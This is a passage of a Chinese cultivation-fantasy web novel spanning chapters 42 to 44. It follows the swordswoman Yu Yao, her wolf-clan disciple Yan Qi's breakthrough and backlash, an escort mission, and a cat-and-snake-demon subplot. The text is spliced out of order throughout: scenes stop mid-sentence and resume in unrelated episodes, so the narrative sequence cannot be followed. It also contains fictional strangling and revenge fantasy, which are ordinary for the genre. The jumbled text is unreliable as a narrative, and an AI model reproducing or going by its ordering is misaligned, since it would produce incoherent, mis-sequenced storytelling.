若不是臭蛇自己方才说话非要说半截,猫也就不会吞下那颗药丸,更加不会有后面的这一系列事情发生了。 所以,都怪臭蛇,怪不得猫。 猫猫大王从不内耗! 想到这里,猫十分骄傲地昂首挺胸,尾巴也高高兴兴地甩了两下。 晏歧是同届弟子中入门最晚的一个。 同样也是进步最快的一个。 突飞猛进的修为跟坐了火箭似的,转眼间就能够冲击筑基了。 虞窈对此并不怎么担心。 毕竟筑基往上还有金丹、元婴、化神吧啦吧啦,冲击筑基算是其中最简单最轻松的一个了。 而且有董远乐先前送来的筑基丹在,她也为自家徒弟提前准备好了各种灵药护器,挑选的地点还是长青谷最安静、灵气最充沛的那一个,保证万无一失。 话虽如此,在晏歧冲击筑基当天,虞窈还是百般交代了徒弟一番,并且告诉徒弟,她会一直守在外面,有什么事直接叫她即可。 少年认真听着师尊的絮絮叨叨,脸上没有浮现丝毫不耐的神色。 “好,我都记下了,师尊安心。” 虞窈为晏歧挑选的地方其实就在长青谷后山的那汪温泉旁边。 晏歧一进去,虞窈就设了个护法结界,在外面百无聊赖地折纸玩。 从小船折到了帽子,又从帽子折到了纸飞机、小青蛙、千纸鹤 两张大小不一的纸被虞窈玩得皱皱巴巴,进去了许久的晏歧却还是没有出来。 虞窈心底隐约生出一种不详的预感,难得忍不住皱了眉。 总不能是出事了吧?当年她冲击筑基的时候也没用这么长的时间啊。 可虞窈又不能够贸然出声。 万一自家徒弟只是单纯花时间花得比较久的话,她这样做反而会害了徒弟。 正当虞窈犹豫不决的时候,身后的结界忽然小幅度地颤动了一下,并伴随着一声刻意压抑了的痛苦低吟。 那道声线虞窈再熟悉不过,明显就是自家徒弟的声音。 虞窈吓了一跳,再也晏不上其他,撤掉结界就冲了进去。 然而温泉四处都找不见徒弟的身影,唯有地上留有一滩尚未干涸的血迹。 这血迹分明是前不久才留下的,联想到方才听到的那声来自于徒弟的低吟,虞窈顿时慌了神。 “晏歧?晏歧你去哪里了?” 虞窈一边大声呼喊着徒弟的名字,一边沿路寻找起徒弟的身影。 大概是真的太过着急,以至于虞窈并未发现,暗处里其实有一双紧紧追着她的身影不放、雾蓝色的眼睛。 藏在树后的晏歧捂着剧烈起伏的胸口,为了不被师尊发现,连喘/息声都必须得刻意压抑,不能够发出丁点声息。 有什么东西在“滴滴答答”。 晏歧垂眸望去,看见了自己殷红的手背。 上面全是他方才呕出来的血,温热、黏腻。 晏歧半眯起眼,觉得刺眼恶心。 毕竟饶是连晏歧自己都没有预料到,仅仅只是冲击一个筑基而已,就能把他逼得如此狼狈不已。 冲击筑基这种事情对于寻常的修仙之人来说的确简单,但对曾经经脉尽废过的晏歧却不然。 虽然用穹清丸修复好了经脉,但从炼气突破到筑基却是堪称质的飞跃。 晏歧身体里那些完好却又脆弱的经脉一时难以承受得住体内突然暴涨的灵气,竟令他在成功突破筑基的那一瞬间,遭到了反噬。 带来了非人能够承受的痛苦不说,甚至还使得他 眸底翻涌不止的雾蓝慢慢化作了极其少见的冰蓝,晏歧的脸色也逐渐沉了下去。 他垂下眼帘,重重呼出一口浊气。 温泉边,虞窈还在焦急地寻找自家徒弟的踪迹。 这是晏歧第一次见到师尊慌张成这般模样,他却并不打算让师尊看到自己如今这幅样子。 丑,又狼狈,还很有可能会吓到虞窈。 更何况,现在的他也绝不能够被虞窈看见。 晏歧平生第一次想当一个胆小鬼,心底生出了逃跑的心思。 大不了先消失个几天,等到之后调理好了身子,他再以完好无损的模样回来找虞窈。 思及此,此时的师尊也已离他越来越近。虞窈便笑着抬起手,奖励似的捏了捏晏歧毛茸茸的狼耳朵:“喏,这不是记得很清楚吗?” “晏歧,你可能不太清楚,但是人族里有一句经常流传着的话是,‘一日为师,终身为父’。” “师尊没想过要当你那什么,不过呢,你既然肯唤我一声师尊,那我就是你一生的师尊。” “除非你觉得师尊没有什么能教给你的了,今后不再需要我这个师尊了,你要离开长青谷,亦或是想要自立门户,师尊都不会拦你。” “但现在,此时此刻,你依然还是我徒弟,所以——” 虞窈一边说着,一边伸手将少年轻轻拥进了怀里,给了他一个温暖又踏实的拥抱。 “你什么都不用担心,什么都不用害怕。师尊会保护你的。” 怀里的徒弟闻言抬起头来,一对毛茸茸的雪白狼耳因为才被师尊捏过,所以在空气中轻微地颤抖着。 他眼尾泛着与平时冷冰冰的模样极不相符的绯红,让人生出几分割裂感的同时,又尽显少年脆弱。 他面露错愕,像是经历了一场梦中梦,还是噩梦交织着美梦那种。 毫不夸张地说,在遭到反噬、变成这幅半人半狼的模样的时候,少年其实早就做好了被师尊送去九洲人手上领赏的准备。 毕竟他深知那奖赏有多么丰厚,足够一名剑修连同其宗门几辈子都衣食无忧。 可是知晓了他狼族身份的师尊非但没有这样做,甚至还愿意继续让他做她的徒弟,接着庇护他。 晏歧不由得觉得自己整个人仿佛都浸在了一只蜜罐里,里头的蜜糖甜腻得令人心慌,他却依然不可避免地沉浸其中,无法自拔。 他怕这些真的只是他的一场泡沫美梦,却仍然控制不住地急于想要确认些什么。 他伸手拽住师尊的一小截衣袖,嗓音沙哑,不复一贯的清越好听,却确保了师尊能够听清他说的每一个字。 “师尊即使会万劫不复么?” 万劫不复? 闻言,虞窈不禁失笑:“晏歧,你是从哪里学来的这种词啊?” 好歹也是个快十六岁、说小不小的人了,怎么说起话来还带着一股子的中二劲呢。 她不知道的是,徒弟其实并没有任何夸张。 诚然,狼族的确是一个很孤僻孤傲的种族。为了自尊,或者是出于一些别的什么目的,他们是可以做到完完全全地狠下心,离自己最亲近依赖的人而去的。 可当一旦确定自己无论怎样都不会被抛弃丢下后,那他们就会变成甩不掉的影子、难缠的赖皮糖,目光只紧盯着认定的人不放。 就算将来有一天,他认定的那个人再也忍受不了这样的行为,狼也只会无辜地歪一歪头,尾巴紧紧锁缠上那人的手腕亦或是脚腕,毫无悔意地问。 “当初不是你说,不管怎样都不会离开我的吗?” 既然都这样保证了,那就永远都别再想着离开他了。 狼的劣根性从来都是一脉相承。 只不过所有的这些,虞窈都不知道。 但少年望着她的模样很是认真,雾蓝色的瞳眸里满满倒映着的都是她的身影。 虞窈唇角的笑意于是也就慢慢淡了下去。 为了让徒弟彻底安心,她点点头,学着徒弟的语气,一本正经地回答道。 “对。” “即使会万劫不复。” 只不过晏歧如今身上带着伤,反噬带来的痛楚更是令他的思绪都有些涣散。 转身要藏之际,竟一时不察,不慎踢到了脚边的石子,弄出来的声音在这寂寥的黑夜里尤为明显。 晏歧骤然僵住。 耳尖的虞窈显然也听到了这个响动,呼唤声一停,当即便扭头看了过来。 她小心翼翼:“晏歧,是你在那里吗?” 没有任何回应。 虞窈皱了皱眉,试探着走近:“晏歧?” “晏歧,如果是你的话,你就答应师尊一声,好不好?” 就在虞窈即将走到晏歧先前藏身的那棵大树后时,一双骨节分明的手忽然毫无征兆地从身后覆了上来,蒙住了她的眼睛。 虞窈被这突如其来的变故吓了一跳,条件反射性地就要拔出腰间佩剑。 然而她很快闻到了一股浓重的血腥气,随之而来的是自家徒弟的声音。 覆于眼前的微凉指尖控制不住地轻微颤抖着,与之形成鲜明对比的,是少年落在虞窈颈间、过于灼热滚烫的呼吸。 少年沙哑的声音重又急切,还带着隐约粗气。 “师尊,别往后看。” 声音已经被外面的人给听了去。 晏岐停驻在偏殿门外,推门的手也跟着顿住了。 是了。 这再熟悉不过的声音。 当初就是这道声音的主人冲进了他与羽鸟一族的战场,用这个声音气急败坏地质问,是哪个挨千刀的不长眼睛,丢的那道术法。 而现在—— 晏岐垂下眸子,定定看着眼前紧闭的偏殿殿门,微微抿了抿唇角。 随即薄唇轻启,一字一顿地说道。 “虞窈。” 第 42 章 第四十二章 随着这两个字轻飘飘地落下,偏殿里的人静默了一会儿。 静悄悄的,没有任何回应。 饶是清楚偏殿里设有结界,里面的人不可能就这样悄无声息地从自己的眼皮子底下消失了。 可倘若是那只向来都古灵精怪的灵猫妖的话,似乎又不无这种可能。 一想到这种可能性,晏岐的心莫名乱了一分。 有那么一瞬间,是想要就这么破门而入,进去捉猫的。 好在偏殿里忽然窸窸窣窣了一阵,随即终于响起一道瓮声瓮气的声音。 比刚才那道更轻更细一些,声线上有轻微的区别,不过还是能够听得出来,两道声音是出自同一人。 仅仅只是因为自己说了一句他师尊的坏话。 这人是疯子吗 孙貌不可置信地望着此时面色平静的晏歧,拼了命地想要掰开晏歧掐在他脖颈上的手。 可如今的晏歧早已不是当初那个孱弱得连阵风都能将他吹跑的小少年,孙貌哪里可能敌得过他的力道。 短短不到半个时辰内,第二次面临死亡的恐惧感就再度将孙貌席卷。 他是真的感到害怕了,忙不迭哭着求饶:“我我错了,你快、快放开我!” 晏歧却无动于衷,只撩起那双凉薄的眸子,歪一歪头,继续加重手上力道。 “不是偏要说我师尊么?嗯?怎么不继续说了。” 这种情况下,谁都不敢贸然插手,生怕一不小心就被晏歧给迁怒。 连云宗的这些弟子虽然跟晏歧没什么交情,但他们不瞎。 偶尔虞窈来练剑坊接晏歧下课的时候,他们完全能从师徒俩的互动中看出来,晏歧到底有多敬重他这位师尊。 更何况,他们谁都不喜欢孙貌这个所谓的保护对象。 莫名其妙地诋毁连云宗不说,要不是他自己作死,哪里会捅出这么多幺蛾子来。 都是他自己活该! 年纪尚轻的弟子们的善恶观也很简单,他们并不会觉得晏歧做得过火,毕竟就在不到半个时辰前,这个孙貌为了活命,竟险些就牺牲了同行红师妹的性命。 晏歧如今不光是在维护自己师尊,也相当于是给他们狠狠出了一口恶气。 但孙貌看起来好像真的快要被晏歧给活活弄死了。 董远乐胆战心惊地咽了咽唾沫,其余弟子不敢出声,而他身为弟子们的大师兄,只好由他来当这个出头勇士。 他试探性地走上前,唤了声“晏师弟”:“要不还是算了吧?万一真出了人命,不仅我们这边交不了差,虞师叔那边也不好做。” 董远乐小心翼翼:“晏师弟,你应该也不想让虞师叔为难吧?” “虞师叔”三字一出,晏歧肉眼可见地停顿了两秒。 他缓慢转过头,面无表情地看向了身后的董远乐。 董远乐立马很上道地冲他眨了眨眼,仿佛在说,听我的,准没错。 就这样无声僵持了几息,晏歧才渐渐松了手上力道。 孙貌一屁股重重跌坐回地上,还没来得及从死亡的阴翳下彻底脱离出来,头顶便有一道阴影压下。 黑发少年半蹲了下来,拿手背很不客气地拍了拍他的脸。 冷冰冰的两个字:“道歉。” 经过方才那一遭,孙貌哪里还敢造次,什么面子都不要了,立马朝着晏歧磕头认错。 “对、对不起,是小人不识好歹冒犯了道长,还望道长大人不记小人过,饶了小人” 晏歧闻言皱了眉:“谁让你跟我道歉的?” 孙貌顿时懵了,无措一愣。 不和他道歉,那那要向谁道歉啊? 好在有董远乐在晏歧身后拼命冲他做着“师尊”的口型,孙貌读了半天才读懂,立时改换了口风。 “小人知错!小人千不该万不该冒犯道长师尊!道长的师尊是天底下最好的师尊,岂是小人能够置喙的。” 晏歧的脸色这才稍微有所缓和:“那你身上的伤——” 他轻抬起眼,言而未尽。 这次孙貌倒立马就心领神会了:“是小人不懂事,小人自作主张,被妖兽抓走,多亏有道长在,才保住了小人这条性命。” 晏歧:“牙呢?” 孙貌:“也是小的自己走路不看路,不慎磕到的,跟诸位道长没有任何关系!” 这回答还算让晏歧满意,他不再理会孙貌半分,干净的巾帕擦了擦方才碰过孙貌的手,平静地站起了身。 那双蓝金色相间的异瞳水润得紧,在曦光的映照下尤为漂亮。 “你要和猫打架!” 被这样的一双眼睛盯着,晏岐叩着石桌的长指轻轻顿住。 随即轻描淡写地移开了眼:“我已说过了,我不与你打。” 猫翘起来的尾巴瞬间就肉眼可见地耷拉了下去。 明明之前臭蛇还能和猫打上个三天三夜的,怎么现在就不与猫打了呢? 独自在长青谷待了半月,虞窈终于等到了平安归来的徒弟。 一见到少年熟悉的身影,虞窈立马就将人拉到跟前,紧张兮兮地从头到尾打量了个遍。 直到确定自家徒弟毫发无伤,才彻底松了口气,扬起笑脸:“晏歧回来啦?” “怎么样,任务还顺利吗,没出什么问题吧?” 才半月不见,徒弟似乎较之前稳重了许多,气质也有点不太一样了。 这就是所谓的“一日不见,如隔三秋”吗。 但在听到师尊的问话后,少年很快垂下了眼,乖顺地点了点头:“顺利。” 虞窈顿时就又觉得自家徒弟还是那个徒弟,和以前没什么两样。 “顺利就好。”她笑盈盈地摸了摸徒弟的脑袋,并没有着急过问徒弟有没有在此行中交到朋友这回事。 “回来得正好,晏歧你应该还没有用飧食吧?来,咱们师徒俩正好一起吃饭。” 刚摆好饭菜,系在虞窈腰间的玉牌突然就亮了起来。 长亮三下,短亮一下,这是有人来长青谷求见的意思。 虞窈给玉牌注入了一小缕灵气,玉牌里便传出了董远乐干净清越的声音。 “虞师叔好,请问晏师弟现下在长青谷吗?我有事想找他。” 坐在虞窈对面的晏歧闻声抬起了眼,视线轻飘飘地落到了那枚玉牌上面。 一抹黯色从他眸底一闪而过,快到连虞窈都没有察觉到这微妙的异样。 这还是第一次有人来长青谷找自家徒弟,虞窈颇为惊喜。 莫不是徒弟此次出去,真的跟董远乐搞好了关系? 虞窈连忙答道:“在的在的——” 刚想让董远乐直接过来便是,对面的徒弟却先开口了。 “师尊,我去谷口接董师兄吧。” 闻言,虞窈微微一怔,忍不住怀疑是不是自己的耳朵出问题了。 只因这实在是太不像自家徒弟往日的作风了。 是太阳打西边出来了,还是徒弟出去了一趟,脑袋被驴踹算了,这样说自家徒弟不太合适。 虞窈暂时忍下心中讶异,同意了徒弟的提议。 “好,你顺便也问问远乐,要不要留下来一道吃饭。” 晏歧微一颔首:“弟子明白。” 练剑坊如今还没有教弟子如何御剑,晏歧用的是虞窈送给他的飞行法器。 法器升起,平稳行进在半空中,晏歧的耳边荡起猎猎风声,衣袍也被鼓进去的风吹得簌簌作响。 少年在师尊面前的乖顺神色在此时全然消失不见,取而代之的是外人常会见到的那种冷冰冰的神情。 晏歧正无声地在心里权衡一件事情。 其实他骗了师尊。 此次下山,并非一帆风顺,而是发生了一个微不足道的小插曲。 之所以不和师尊说实话,是怕师尊知道了,有可能会生他的气。虞窈顿时坐了回去,有些狐疑地瞅着他:“晏岐,你是不是不行了?” 晏岐闻言,有那么一个瞬间,很想要将猫的嘴给堵上。 就这么干巴巴地打能有什么意思?尽管虞窈并没有将那只小猫收作自己的徒弟,也不曾特殊对待过它。 晏歧依然不喜欢那只小猫。 但在虞窈把毛毡猫递过来的时候,晏歧的余光不经意间瞥见了缀在虞窈佩剑上的那只小猫玩偶。 虞窈做的这只毛毡猫和那个很像,只是颜色和大小有些微的不同。 这不禁让晏歧联想到了自己和师尊,也是一大一小。 于是他最终还是收下了师尊送给他的这个特殊的礼物,并随身带在了身边。 毕竟师尊现下不在,表情特意被虞窈做成笑眯眯的毛毡猫就是师尊的代表。 孙貌滔滔不绝讲着那些贬低的话的时候,晏歧眼也不抬,只用指腹轻轻摸了摸小小的毛毡猫。 今天比起昨天来更闷更热,他猜师尊现在正靠在窗边,悠然自得地吃冰镇西瓜。 想到这里,晏歧几不可察地勾了勾唇角。 尽管在连云宗里待了有些时日了,晏歧对这个地方依然没有什么归属感。 他在意的只有师尊。 所以,真正让晏歧担心师尊会生气的事,实际上另有其他。 回程经过那片无主之地的时候,孙貌无意间发现了一只盘旋在树上的蛇妖。 倘若放在平时,毫无修为的孙貌见到这样的妖兽,估计早就吓得屁滚尿流,跑得连影子都瞧不见了。 但今时不同往日,现在他可是有这么多连云宗的弟子在他身边,听他爹的命令护他无恙。 而且,在孟城这样的地方,蛇妖的皮是能够卖到一个很好的价钱的。 念及此,孙貌眼珠一转,眼神很快就从起初的害怕变作了不加掩饰的贪婪。 毫不疑问的,孙貌起了歪念。 不若换个地方。 但他最后也只是望着猫那双灵动至极的眼睛,很是平静地说道:“真不打算在妖界多留一些时日么?” “若你愿意留下,我可命人去寻一些古书来,说不定可以弄清楚你变成这样的原因。” “而且,你要是就这么走了,月女和高央都会舍不得你。” 这般说着,晏岐慢慢坐直了身体。 他双手支着下颌,石桌下,那条冰凉昳丽的蛇尾似是极不小心地扫过了猫的脚背,深邃淡然的眸光就这样平直地看向了猫。 “虞窈,你舍得她们吗?” 第 43 章 第四十三章 说这番话的时候,晏岐的目光一直都凝在虞窈的脸上,不曾偏移半分。 平静的视线如蛇一般舔舐着虞窈的脸颊。 那条冰冰凉凉的蛇尾从虞窈的脚背上若即若离地扫过之时,猫被那触感惹得一激灵,条件反射性地快速缩回了脚。 猫随即故作无事发生地抬起头来,眼眸亮亮地看向了晏岐身后的月女,求证道:“小蝴蝶会舍不得猫吗?” 闻言,月女下意识地转眸看了眼晏岐的背影。 只见自家尊上稳坐如山,发梢尾端泛着点幽绿的长发略有些凌乱地披散在腰际。 像是根本就不在意她的回答似的。当然,虞窈是不可能天天都拉着自家徒弟去平心静气、陶冶情操的。 秉承着最好跟连云宗的其他人拉近关系,这样能够让小徒弟更好更快地融入连云宗的想法,虞窈偶尔也会带自家徒弟去长月谷溜达溜达。 只不过晏歧在虞窈面前都鲜少说话,更别提是跟谢青扬了。 尤其谢青扬喜好琴棋书画,跟晏歧几乎没有什么共同话题。 师徒两人在长月谷的庭院里跟谢青扬大眼瞪小眼,相对无话,虞窈后来索性就懒得带自家徒弟去了。 反正去了也是白去。 至于柳至云就更不用提——祖孙二人年龄差距太大,有代沟。 虞窈最终改换策略,闲时就将晏歧带去连云宗主峰,旁观别的弟子上课。 说是上课,其实就是练习剑术。 连云宗是个主修剑术的宗门,掌门柳至云和其亲传大弟子谢青扬的剑术自不用说,就连咸鱼虞窈都是使剑的一把好手。 否则虞窈当年也不会被柳至云一眼相中,被他收为自己的关门弟子。 剑影交错间,虞窈发现自家徒弟第一次对一样事物这么感兴趣。 盯着弟子们练剑的晏歧目不转睛,看得那叫一个专注认真。 虞窈就在旁边单手托撑着下颌,笑意盈盈地看着自家徒弟:“晏歧想学?” 晏歧挪回视线,一双墨眸黑亮清幽,郑重其事地点了点头。 “想。” 为了躲避九洲人的追捕,他在那座山峦里待了太久太久,几乎就快要退化成为一头真正的野兽。 这也就导致很多以前的事情,他都不怎么记得了。 他忘记了在那则预言出现之前,他其实曾度过了一个还算不错的童年,也忘记了他的娘亲——狼族的狼后是一个温婉的女人。 他只记得,在被狼王废去周身经脉、丢去禁林之前,那个自称是他娘亲的女人曾哭得嗓子沙哑,几乎说不出来话。 两行血泪顺着面颊流下,她愤懑地指着他,和九洲的人一样骂他是灾星,问他为什么要害他们,害整个狼族。 年纪尚幼的晏歧不懂。 在暗无天日的禁林里、每次从其他妖兽爪下死里逃生的时候,想起这段回忆的晏歧依然不懂。 明明他从没做错过什么,也没有想过一定要出生的。 如果早知道每天过的都是只能以腐肉为食、要拼了命地与其他妖兽厮杀才能够勉强活下来的日子的话,他宁可不要被狼后生下来。 对于把他生下来,却不爱他、不养他的狼王狼后,他自然是恨的。 可是他们都已经死了。 因为一个被世人尊称为“虞菀仙尊”的修士而死。 他的确忘记了很多过往,却对那位虞菀仙尊的印象尤为深刻。 毕竟在大能得道飞升、留下预言之后,第一个认为他是那个会在将来覆灭整个九洲的灾星的人是她。 为了以绝后患,率领九洲修士、几乎灭了整个狼族的人也是她。 全九洲发布通缉令、把他逼到只能东躲西藏的人,还是她。 晏歧的唇角逐渐抿成了一条直线,眼神也一点点冷了下去,雾蓝色几近下一秒就要在眸底翻涌浮现。 他想复仇。 想要杀了那个叫“虞菀仙尊”的修士。 想要将他因她而经受的苦难千倍万倍地奉还给她。 他还想要在杀了虞菀之前狠狠折磨她,要她求生不得,求死不能。 为此,他需要很多很多力量。 然而就在这时,一只温暖的手掌忽然落了下来,很温柔地揉了揉他的发顶。 掌心的温度随即渡下,好似一缕春风,瞬间便能使万里薄冰消融。 晏歧眼底的冷色立时消散。 当然了,虞窈还是很希望徒弟能够少点不能和自己说的秘密的。 但现在的关键问题是,放眼整个连云宗,除了她这个师尊以外,小徒弟身边连个能说话的人都没有。 大概是狼族孤僻孤傲的天性,又或者是因为成长经历,导致晏歧很难信任他人。 总之,晏歧的排外心比虞窈预想中的还要严重,更别提会去主动融入同门的弟子了。 再加上他是半途加进来跟其他弟子一起上课的,其余弟子早就有了自己的固定伙伴亦或是搭档。 这便导致虞窈每次来接自家徒弟下课的时候,徒弟都是孤零零一个人抱着剑从练剑坊里出来。 和其他成群结队、有说有笑的弟子们对比明显,看得虞窈这个做师尊的挺不是滋味。 有种自家小孩儿被全世界都给孤立了的感觉。 问就是很气! 但这显然不是其他弟子们的错。 虞窈很清楚,问题的源头其实是出在自家徒弟身上。 夏天是个连绵多雨的季节,虞窈将油纸伞撑在自己和徒弟中央,似是随意地提起。 “话说回来,怎么不见晏歧跟练剑坊里的其他师兄弟一起玩?” 闻言,清隽少年周正的面庞上浮现出了一丝不加掩饰的困惑。 “师尊,我为什么要和他们一起?” 言外之意就是,他不是来练剑坊学习剑术的吗。 学剑术是一个人的事,就算没有搭档,练剑坊内也设有被灌注了灵气、可以灵活移动的木桩,用来当对手绰绰有余。 和这些不相干的人一起有什么用? 虞窈被自家徒弟问得哑口无言。 她深知徒弟的性格,晏歧虽处在叛逆期的年纪,却绝不是那种会把师尊气得上蹿下跳、忤逆师尊的逆徒。 他单纯就是这样想的,于是也就这样说了。 “嗯”虞窈绞尽脑汁,“你们都是同届师兄弟,今后在连云宗里低头不见抬头见的,搞好关系总是没有坏处的嘛。” “当然了,师尊也不是要你跟每个人都处好关系,朋友在精不在多,有那么一两个真心实意的就行。” 虞窈还在脑海里努力搜刮能够用来劝说徒弟的人生大道理,就见自家徒弟摇了摇头,很是认真地对她说:“师尊,我不需要他们。” “我有师尊就够了。” 闻言,虞窈短暂地愣了愣,随即暗自叹了口气,叹息声淹没在了淅淅沥沥的雨声里。 她无奈地看着倔驴徒弟,在心里面想。 笨蛋,师尊也不可能陪在你身边一辈子呐。 诚然,虞窈每次穿进小世界里执行任务的时候,她都只将这些小世界里的角色看作纸片人,并不会对他们付出太多感情。 毕竟虞窈很清醒,她不可能在这些小世界里停留一辈子,完成了系统交于的任务,就是她离开的时候。 紧接着等待她的则是下一个任务,亦或是她自己的人生。 在虞窈的心目中,对纸片人付出太多真情实感其实是一种很傻的行为,投入的感情越多,就越难抽离。 这也是任务管理局的不少员工每从一个小世界里脱离出来,都会选择起码歇上半个月的主要原因。 反观虞窈就不会。 每次完成了小世界的任务后,她最多休息两天,就能精力满满地投入到下一个任务当中去。 不禁让管理局的其他员工纷纷猜测,虞窈是不是背地里绑定了什么“三天不进小世界就会死”的系统,不然怎么能够卷成这样。 但晏歧不一样,他是虞窈在这个小世界里养的一朵小花。 尤其在察觉到徒弟对自己下意识的过度依赖后,虞窈更加希望,即使将来她完成了攻略任务,脱离这个小世界了,徒弟身边也能有一两个好友亦或是合适的道侣陪着他。 别再孤身一人了。 当然了,虞窈不可能将这些想法实话告诉给徒弟,这又是她第一次为人师尊,没有多少经验,也不知道该要如何去纠正徒弟的想法。 虞窈为此愁眉苦脸了好几天。 直到某天清晨,徒弟照例去练剑坊练剑了,留下虞窈独自在给院落里的小花浇水的时候,忽然有一道灵光从她脑海当中闪过。 等等,她的确没有教徒弟的经验,但不妨碍别人有啊! 虞窈立马搁下水壶,御剑直奔长月谷而去。 尚未抵达长月谷谷心,悠扬婉转的琴声便遥遥传来。 虞窈从剑身上跃下,笑眯眯地走近院中那抹白色身影,鼓掌的同时张口就来。 “师兄不光剑术一绝,就连琴艺也是越来越精妙了,光是这么一小段仙乐,就让师妹我愚耳暂明,真是佩服佩服。” 谢青扬抚琴的长指只顿了两息,就又接着弹了下去:“无事不登三宝殿,说吧,找我有什么事?” 虞窈立马露出一副受伤的表情:“师兄,我就是想着好久没见你了,过来问候你一声,你怎么能这般想我,原来在你心中,师妹我就是这样的人吗?” 谢青扬神色自若,趁着拨弦的空档,掀眸望了虞窈一眼。 是那种很明显的“我还不知道你?”的眼神。 虞窈于是撇撇嘴,快步走到谢青扬对面坐下:“好吧,我这次来,确实是有事情想要请教师兄。” 整天没个正形的小师妹居然连“请教”二字都用上了,谢青扬挑了挑眉,终于停下弹琴的手,将七弦琴放至一边。 “说吧。” 虞窈就将困扰了自己好一段时间的苦恼事一一讲给了谢青扬听。 末了,不忘再拍拍师兄马屁:“师兄,你手底下出了那么多好徒弟,肯定在教徒弟这方面很有心得体会吧,也教教我呗?” 谢青扬垂眸沉吟片刻:“晏师侄的性格与门内其他弟子比起来,的确有些与众不同。” 虞窈双眸亮亮,等着谢青扬后话:“所以呢所以呢?” “依我看,这些都是他平时习惯了你的存在才导致的。假如你不在他的身边,只有同门弟子陪伴他左右的话,或许他就愿意尝试去接触其他弟子了呢?”谢青扬说。 虞窈闻言轻微一怔:“师兄,什么叫‘我不在他的身边,只有同门弟子陪伴他左右’啊?我怎么听不懂呢。” 谢青扬说:“近来山下的一位富商找到了师父,说他有一批货需要从孟城运去邻城,途中要经过一段无主之地,可能会遇到一些游荡在那里的低阶妖族,所以希望连云宗能派些人手给他,护他此行无虞。” 虞窈这回很快就听懂了:“就是想让咱们连云宗的弟子给他当保镖呗?” 谢青扬无奈一笑:“你要这么说的话,倒也没什么问题。” “不过前些年孟城曾经历过一次小规模的饥灾,是那位富商带头慷慨解囊,才顺利度过了那次危机,所以师父对那位富商的印象还算不错。” “再加之徘徊在那片无主之地的妖族修为基本上都不超过筑基,我和师父一致认为,这对这届新来的弟子是个不错的历练机会。” “我挑了几个合适的人选,也已问过远乐,他愿意接下这次任务,有他在,此行应当不会出任何问题。” 谢青扬口中的“远乐”全名董远乐,是他在上次登仙大会上新收的、也是他如今唯一的弟子,前不久刚刚突破筑基,是目前所有新来的弟子当中修为最高的一个。 “所以,师妹——”说到这里,谢青扬看向虞窈。 “你要不要让晏师侄也跟着他们一道下山历练试试?” 明黄色的身影“哒哒哒”地溜进了玄清殿里。 然而在看清关在笼子里的小猫们后,虞窈的脚步倏地顿住,轻快的声音也一并戛然而止了。 她怔怔地将那些可爱温顺的小猫们扫了个遍,又不可置信地看了眼座上的晏岐。 下一秒,猫便一声不吭地转身就往外走。 心里也骂骂咧咧起来。 反正谢青扬早已辟谷,也不喜甜食,桌上的糕点显然都是为她准备的。 “我想问师兄要几瓶穹清丸。”虞窈端起清茶,混着糕点囫囵吞下,开门见山。 “没记错的话,师兄以前不是一直都很喜欢我那把七弦琴吗,干脆咱俩换换?” 穹清丸是专门用来修复经脉的丹药,单从它的用途就能看出它的价值不菲,极其珍贵。 而虞窈口中的七弦琴则是她先前穿进这个世界里那次,她偶然在一个秘境里得到的秘宝。 虞窈对琴啊画啊什么的完全不感兴趣,谢青扬却不然。 他虽是名剑修,却也格外热衷于这些陶冶情操的玩意儿。 所以虞窈这里才好意思腆着脸来找谢青扬问药。 再加上师兄妹两人先前关系不错,即使百年未见,依照谢青扬的脾性,应当也不至于舍不得给。 果然,谢青扬只是平静地望了虞窈一眼:“几瓶穹清丸而已,你既问师兄要,师兄怎会不给,用不着拿琴来换。” “不过——”他欲言又止,清冷双眸淡淡。 “身为弟子,我不能妄自揣测师父的想法,师父是如何想的,我也管不着。” “但是师妹,你须得如实告诉师兄,你带回来的那小徒弟究竟是何来历,为何经脉寸断,身上一点灵气都无。” 虞窈早就预料到了谢青扬会过问晏歧的身世,毕竟晏歧怎么看怎么可疑,谢青扬若是对此只字不提,那委实才叫一个奇怪。 她将早就编得天衣无缝的故事娓娓道来,边讲边手舞足蹈、比比划划,将晏歧的背景身世如何凄惨说得那叫一个绘声绘色,惹人动容。 末了,还拿出巾帕,擦了擦眼角并不存在的眼泪。 “怎么样师兄,我那小徒弟够可怜吧?” 谢青扬:“” 倒也不必如此浮夸。 不过一席话听下来,他没从虞窈的解释中听出任何疑点,再者,自己这个小师妹虽活泼好动、整日没个正形,常常给人一种不太靠谱的感觉。 但他清楚,虞窈实际是个分得清轻重的人,能够让人省心。 于是将早已备好的穹清丸推至虞窈面前:“好了,拿去吧。” 虞窈见状一喜,又听谢青扬接着说道:“师妹,你现在既已有了徒弟,为人师尊,从前的玩心便自觉收收,莫让你那徒弟觉得自己拜错了人,辜负了他对你的信任。” 虞窈:“” 谢青扬哪哪都好,只是气质超然的剑修在某些时候也是个不折不扣的话痨。 她默默在心里叹了口气。 见谢青扬还要接着滔滔不绝,虞窈忙“嗯嗯嗯我都知道了,多谢师兄,那个天色也不早了,我就先溜啊不,走了啊师兄。” 雪剑御风而起,虞窈溜得极快,走之前还不忘将桌上余下的糕点全部收入囊中。 “对了师兄,反正你也不爱吃糕点,那这些我就都带走了昂。” 这一切也就发生在短短几息间。 待谢青扬完全回过神来,已经踏剑离去的虞窈只剩下一个小小的黑影了。 垂眸,面前不知何时多出了一张通体翠绿的琴,线条优美,萦绕着的灵气充沛,正是谢青扬心仪已久的那把七弦琴无疑。 修长分明的食指抚过琴弦,琴音娓娓,颇为好听。 谢青扬摇摇头,很是无奈地笑了一下,最终还是将琴抱回了屋里。死晏岐,臭晏岐。 猫才变成人多久,他就这么迫不及待地要找新妖宠了? 居然还一找就找了十二只! 怎么,他很缺妖宠是吗? 不行,猫要在一万条小鱼的基础上再扣这条臭蛇一千条鱼。 不对,必须得再扣一万条!! 第 44 章 第四十四章 归寿看着那道突然闯进玄清殿、又突然扭头冲出去的明黄色身影,面上出现了一瞬的茫然。 他虽久居西境,除了进贡以外,来妖殿的次数可谓少之又少,用一只手就能够数得过来,却也清楚,尊上向来是不近女色的。 早些年前就有其他领主为讨尊上欢心,进献了数位美人来。 只是那些个所谓的美人连妖殿的地砖都没能见到,就被尊上连妖带美人地给轰了回去。 偏偏那个名为叶清的领主还不死心,又想了别的法子,非要把那些美人塞进妖殿里,安置在尊上身边。 用叶清自己的说法就是,妖向来重欲,他不信倘若真的有美人在怀,尊上还能够坐怀不乱。 结果不仅人没塞成,自己反倒落了个被剥皮抽筋的下场,领主的位置,也由后来的虎昀给填补上了。 